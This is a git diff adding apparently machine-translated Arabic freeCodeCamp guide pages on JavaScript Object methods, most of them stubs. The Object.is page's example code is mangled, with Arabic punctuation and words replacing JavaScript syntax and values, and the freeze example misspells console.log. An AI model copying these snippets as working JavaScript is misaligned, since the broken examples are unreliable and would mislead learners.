+ // Verify your object has been modified 
+ console.log(person) // { name: 'John', age: 24, hobbies: ['music', 'rock climbing'] 
+ 
+ // Freeze your object 
+ Object.freeze(person) 
+ 
+ // Verify that your object can no longer be modified 
+ person.name = 'Johnny' // fails silently 
+ person.age = 23 // fails silently 
+ console.log(person) // { name: 'John', age: 24, hobbies: ['music', 'rock climbing'] 
+ 
+ // The freeze is "shallow" and nested objects (including arrays) can still be modified 
+ person.hobbies.push('basketball') 
+ consol.log(person.hobbies) // ['music', 'rock climbing', 'basketball'] 
+` 
+
+#### معلومات اكثر:
+
+[وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertydescriptor/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertydescriptor/index.md
new file mode 100644
index 0000000000..3cead6364e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertydescriptor/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertyDescriptor
+localeTitle: كائن getOwnPropertyDescriptor
+---
+## كائن getOwnPropertyDescriptor
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertydescriptor/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertydescriptors/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertydescriptors/index.md
new file mode 100644
index 0000000000..a8533981e0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertydescriptors/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertyDescriptors
+localeTitle: كائن getOwnPropertyDescriptors
+---
+## كائن getOwnPropertyDescriptors
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertydescriptors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertynames/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertynames/index.md
new file mode 100644
index 0000000000..83ec9d80a6
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertynames/index.md
@@ -0,0 +1,74 @@
+---
+title: Object getOwnPropertyNames
+localeTitle: كائن getOwnPropertyNames
+---
+إرجاع الأسلوب `Object.getOwnPropertyNames()` صفيف من كافة الخصائص (يمكن عدها أو لا) موجود مباشرة على كائن محدد.
+
+## بناء الجملة
+
+ `Object.getOwnPropertyNames(obj) 
+` 
+
+### المعلمات
+
+**الكائنات**
+
+الكائن الذي سيتم إرجاع خصائصه الخاصة _وغير المعدودة_ .
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff688126%28v=vs.94%29.aspx)
+
+## وصف
+
+`Object.getOwnPropertyNames()` بإرجاع صفيف عناصره هي سلاسل الموافق خصائص enumerable _وغير enumerable_ وجد مباشرة على الكائن. ترتيب الخصائص التي يمكن حصرها في الصفيف متناسق مع الترتيب الذي تم كشفه من خلال `for...in` حلقة (أو بواسطة `Object.keys()` ) فوق خصائص الكائن. لم يتم تعريف ترتيب الخصائص غير القابلة للتعداد في الصفيف ، وبين الخصائص التي لا تعد ولا تحصى.
+
+## أمثلة
+
+ `var arr = ['a', 'b', 'c']; 
+ console.log(Object.getOwnPropertyNames(arr).sort()); // logs '0,1,2,length' 
+ 
+ // Array-like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.getOwnPropertyNames(obj).sort()); // logs '0,1,2' 
+ 
+ // Logging property names and values using Array.forEach 
+ Object.getOwnPropertyNames(obj).forEach(function(val, idx, array) { 
+  console.log(val + ' -> ' + obj[val]); 
+ }); 
+ // logs 
+ // 0 -> a 
+ // 1 -> b 
+ // 2 -> c 
+ 
+ // non-enumerable property 
+ var my_obj = Object.create({}, { 
+  getFoo: { 
+    value: function() { return this.foo; }, 
+    enumerable: false 
+  } 
+ }); 
+ my_obj.foo = 1; 
+ 
+ console.log(Object.getOwnPropertyNames(my_obj).sort()); // logs 'foo,getFoo' 
+ 
+ function Pasta(grain, size, shape) { 
+    this.grain = grain; 
+    this.size = size; 
+    this.shape = shape; 
+ } 
+ 
+ var spaghetti = new Pasta("wheat", 2, "circle"); 
+ 
+ var names = Object.getOwnPropertyNames(spaghetti).filter(CheckKey); 
+ document.write(names); 
+ 
+ // Check whether the first character of a string is 's'. 
+ function CheckKey(value) { 
+    var firstChar = value.substr(0, 1); 
+    if (firstChar.toLowerCase() == 's') 
+        return true; 
+    else 
+         return false; 
+ } 
+ // Output: 
+ // size,shape 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertysymbols/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertysymbols/index.md
new file mode 100644
index 0000000000..c00bc98256
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-getownpropertysymbols/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertySymbols
+localeTitle: كائن getOwnPropertySymbols
+---
+## كائن getOwnPropertySymbols
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertysymbols/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-getprototypeof/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-getprototypeof/index.md
new file mode 100644
index 0000000000..3899395698
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-getprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.get.prototype.of
+localeTitle: Object.prototype.get.prototype.of
+---
+## Object.prototype.get.prototype.of
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getprototypeof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-is/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-is/index.md
new file mode 100644
index 0000000000..75c33598cd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-is/index.md
@@ -0,0 +1,57 @@
+---
+title: Object Is
+localeTitle: الكائن هو
+---
+# الكائن هو
+
+## وصف
+
+يتم استخدام الأسلوب `object.is()` لتحديد ما إذا كانت قيمتين هي نفس القيمة. تم تقديم هذه الطريقة في ES6.
+
+## بناء الجملة
+
+`Object.is(val1, val2)`
+
+### المعلمات
+
+**val1** - القيمة الأولى للمقارنة
+
+**val2** - القيمة الثانية للمقارنة
+
+## قيمة الإرجاع
+
+A [Boolean](https://guide.freecodecamp.org/javascript/booleans) يشير إلى ما إذا كانت الوسيطتان لهما نفس القيمة
+
+## وصف
+
+يقارن `Object.is()` ، ويعود إلى `true` إذا استوفيت كلتا القيمتين أحد الشروط التالية:
+
+*   `undefined`
+*   `null`
+*   كلاهما `true` أو `false`
+*   سلسلة من نفس الطول ونفس الأحرف
+*   نفس الشيء
+*   كل من الأرقام و:
+*   كل من `+0` أو كليهما `-0`
+*   كلا `NaN`
+*   أو كلاهما رقم ليس صفرا وليس `NaN`
+
+## أمثلة
+
+\`\` \`
+
+Object.is ('string' ، 'string')؛ // صحيح Object.is (غير محدد ، غير محدد) ؛ // صحيح Object.is (فارغة ، خالية) ؛ // صحيح
+
+Object.is ('string ،' word ')؛ // خاطئة Object.is (صواب ، خطأ) ؛ // خاطئة Object.is (\[\] ، \[\]) ؛ //خاطئة
+
+var obj = {name: Jane}؛ Object.is (obj، obj)؛ // صحيح
+
+Object.is (NaN، NaN)؛ // صحيح
+
+Object.is (+0، -0)؛ // خاطئة Object.is (-0، -0)؛ // صحيح
+
+\`\` \`
+
+#### معلومات اكثر:
+
+[Object.is () MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) [عامل مساواة صارم `===`](https://guide.freecodecamp.org/certificates/comparison-with-the-strict-equality-operator)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-isextensible/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-isextensible/index.md
new file mode 100644
index 0000000000..61764e90c2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-isextensible/index.md
@@ -0,0 +1,11 @@
+---
+title: Object isExtensible
+localeTitle: كائن قابل للتوسيع
+---
+## كائن قابل للتوسيع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-isextensible/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-isfrozen/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-isfrozen/index.md
new file mode 100644
index 0000000000..c49ead9587
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-isfrozen/index.md
@@ -0,0 +1,37 @@
+---
+title: Object isFrozen
+localeTitle: الكائن هو المجمدة
+---
+## الكائن هو المجمدة
+
+يمكنك استخدام **`Object.isFrozen()`** لمعرفة ما إذا تم تجميد كائن أم لا. تقوم بإرجاع قيمة منطقية **`true`** أو **`false`** .
+
+#### **بناء الجملة**
+
+ `Object.isFrozen(obj) 
+` 
+
+**فمثلا:**
+
+ `var foods = { 
+    grain : "wheat", 
+    dairy  : "milk", 
+    vegetable : "carrot", 
+    fruit  : "grape" 
+ }; 
+ 
+ var frozenFoods = Object.freeze(foods); 
+ 
+ var areMyFoodsFrozen = Object.isFrozen(frozenFoods); 
+ 
+ \\ returns true 
+` 
+
+تذكر ، **لا يمكن أن** يكون له خاصية مجمدة تغير خصائصها.  
+  
+إذا حاولت استخدام **`Object.isFrozen()`** على وسيطة غير كائن ، فسوف ترجع `true` .
+
+#### معلومات اكثر:
+
+[MDN Object.isFrozen ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen)  
+[MDN Object.freeze ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-issealed/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-issealed/index.md
new file mode 100644
index 0000000000..2ca184379c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-issealed/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Issealed
+localeTitle: وجوه اخفى
+---
+## وجوه اخفى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-issealed/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-keys/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-keys/index.md
new file mode 100644
index 0000000000..86ddd39c13
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-keys/index.md
@@ -0,0 +1,64 @@
+---
+title: Object Keys
+localeTitle: مفاتيح الكائن
+---
+إرجاع الأسلوب `Object.keys()` صفيف خصائص enumerable الخاصة كائن محدد في نفس الترتيب كتلك المقدمة من قبل `for...in` حلقة (الفرق هو أن حلقة `for-in` تعداد خصائص في سلسلة النموذج الأولي كـ حسنا).
+
+## بناء الجملة
+
+ `Object.keys(obj) 
+` 
+
+### المعلمات
+
+**الكائنات**
+
+الكائن الذي سيتم إرجاع خصائصه الخاصة به.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff688127%28v=vs.94%29.aspx)
+
+## وصف
+
+`Object.keys()` ترجع مصفوفة تكون عناصرها عبارة عن سلاسل مطابقة للخصائص اللامحدودة الموجودة مباشرة على الكائن. ترتيب الخصائص هو نفسه الذي يتم تحديده بواسطة التكرار فوق خصائص الكائن يدويًا.
+
+## أمثلة
+
+ `var arr = ['a', 'b', 'c']; 
+ console.log(Object.keys(arr)); // console: ['0', '1', '2'] 
+ 
+ // array like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.keys(obj)); // console: ['0', '1', '2'] 
+ 
+ // array like object with random key ordering 
+ var an_obj = { 100: 'a', 2: 'b', 7: 'c' }; 
+ console.log(Object.keys(an_obj)); // console: ['2', '7', '100'] 
+ 
+ // getFoo is property which isn't enumerable 
+ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } }); 
+ my_obj.foo = 1; 
+ 
+ console.log(Object.keys(my_obj)); // console: ['foo'] 
+ 
+ // Create a constructor function. 
+ function Pasta(grain, width, shape) { 
+    this.grain = grain; 
+    this.width = width; 
+    this.shape = shape; 
+ 
+    // Define a method. 
+    this.toString = function () { 
+        return (this.grain + ", " + this.width + ", " + this.shape); 
+    } 
+ } 
+ 
+ // Create an object. 
+ var spaghetti = new Pasta("wheat", 0.2, "circle"); 
+ 
+ // Put the enumerable properties and methods of the object in an array. 
+ var arr = Object.keys(spaghetti); 
+ document.write (arr); 
+ 
+ // Output: 
+ // grain,width,shape,toString 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-preventextentions/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-preventextentions/index.md
new file mode 100644
index 0000000000..9a19865039
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-preventextentions/index.md
@@ -0,0 +1,11 @@
+---
+title: Object preventExtensions
+localeTitle: Object preventExtensions
+---
+## Object preventExtensions
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-preventextentions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-definegetter/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-definegetter/index.md
new file mode 100644
index 0000000000..b3efdddd2a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-definegetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__defineGetter__
+localeTitle: Object.prototype .__ defineGetter__
+---
+## Object.prototype. **defineGetter**
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__definegetter__/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-definesetter/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-definesetter/index.md
new file mode 100644
index 0000000000..462782480c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-definesetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__defineSetter__
+localeTitle: Object.prototype .__ defineSetter__
+---
+## Object.prototype. **defineSetter**
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__definesetter__/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-hasownproperty/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-hasownproperty/index.md
new file mode 100644
index 0000000000..212b18c2ac
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-hasownproperty/index.md
@@ -0,0 +1,45 @@
+---
+title: Object.prototype.hasOwnProperty
+localeTitle: Object.prototype.hasOwnProperty
+---
+## Object.prototype.hasOwnProperty
+
+### بناء الجملة
+
+`Object.hasOwnProperty(prop)`
+
+### وصف
+
+ترجع **الدالة hasOwnProperty ()** قيمة [منطقية](https://developer.mozilla.org/en-US/docs/Glossary/Boolean) تشير إلى ما إذا كان الكائن يملك الخاصية المحددة.
+
+هذه طريقة ملائمة للتحقق مما إذا كان الكائن يحتوي على الخاصية المحددة أم لا؛ العودة الصواب / خطأ وفقا لذلك.
+
+### المعلمات
+
+##### دعم
+
+[سلسلة](https://developer.mozilla.org/en-US/docs/Glossary/String) أو [رمز](https://developer.mozilla.org/en-US/docs/Glossary/Symbol) للاختبار.
+
+### أمثلة
+
+باستخدام **hasOwnProperty ()** لاختبار ما إذا كانت خاصية موجودة أم لا في كائن محدد:
+
+ `var course = { 
+  name: 'freeCodeCamp', 
+  feature: 'is awesome', 
+ } 
+ 
+ var student = { 
+  name: 'enthusiastic student', 
+ } 
+ 
+ course.hasOwnProperty('name');  // returns true 
+ course.hasOwnProperty('feature');   // returns true 
+ 
+ student.hasOwnProperty('name');  // returns true 
+ student.hasOwnProperty('feature'); // returns false 
+` 
+
+#### الروابط
+
+[MDN hasOwnProperty](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-isprototypeof/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-isprototypeof/index.md
new file mode 100644
index 0000000000..d20b4df3b5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-isprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.is.prototype.of
+localeTitle: Object.prototype.is.prototype.of
+---
+## Object.prototype.is.prototype.of
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-isprototypeof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-lookupgetter/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-lookupgetter/index.md
new file mode 100644
index 0000000000..4997f1222a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-lookupgetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__lookupGetter__
+localeTitle: Object.prototype .__ lookupGetter__
+---
+## Object.prototype. **lookupGetter**
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__lookupgetter__/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-lookupsetter/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-lookupsetter/index.md
new file mode 100644
index 0000000000..5a4050048e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-lookupsetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__lookupSetter__
+localeTitle: Object.prototype .__ lookupSetter__
+---
+## Object.prototype. **lookupSetter**
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__lookupsetter__/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md
new file mode 100644
index 0000000000..70007ddd64
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.propertyIsEnumerable
+localeTitle: Object.prototype.propertyIsEnumerable
+---
+## Object.prototype.propertyIsEnumerable
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-setprototypeof/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-setprototypeof/index.md
new file mode 100644
index 0000000000..09411e2929
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.set.prototype.of
+localeTitle: Object.prototype.set.prototype.of
+---
+## Object.prototype.set.prototype.of
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-setprototypeof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tolocalstring/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tolocalstring/index.md
new file mode 100644
index 0000000000..d871ce90d0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tolocalstring/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.tolocalstring
+localeTitle: Object.prototype.tolocalstring
+---
+## Object.prototype.tolocalstring
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tolocalstring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tosource/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tosource/index.md
new file mode 100644
index 0000000000..9851d67b84
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.toSource
+localeTitle: Object.prototype.toSource
+---
+## Object.prototype.toSource
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tosource/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tostring/index.md
new file mode 100644
index 0000000000..79c35a82f7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.toString
+localeTitle: Object.prototype.toString
+---
+## Object.prototype.toString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-unwatch/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-unwatch/index.md
new file mode 100644
index 0000000000..cba4c9b3dc
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-unwatch/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.unwatch
+localeTitle: Object.prototype.unwatch
+---
+## Object.prototype.unwatch
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-unwatch/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-valueof/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-valueof/index.md
new file mode 100644
index 0000000000..10279e1b4d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.valueOf
+localeTitle: Object.prototype.valueOf
+---
+## Object.prototype.valueOf
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-valueof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-watch/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-watch/index.md
new file mode 100644
index 0000000000..de00d74254
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype-watch/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.watch
+localeTitle: Object.prototype.watch
+---
+## Object.prototype.watch
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-watch/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-prototype.constructor/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype.constructor/index.md
new file mode 100644
index 0000000000..6b8b8a371e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-prototype.constructor/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Prototype.constructor
+localeTitle: كائن Prototype.constructor
+---
+## كائن Prototype.constructor
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype.constructor/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-seal/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-seal/index.md
new file mode 100644
index 0000000000..2cae072f41
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-seal/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Seal
+localeTitle: ختم كائن
+---
+## ختم كائن
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-seal/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-setprototypeof/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-setprototypeof/index.md
new file mode 100644
index 0000000000..f589c74cb7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.set.prototype.of
+localeTitle: Object.prototype.set.prototype.of
+---
+## Object.prototype.set.prototype.of
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-setprototypeof/index.md) .
+
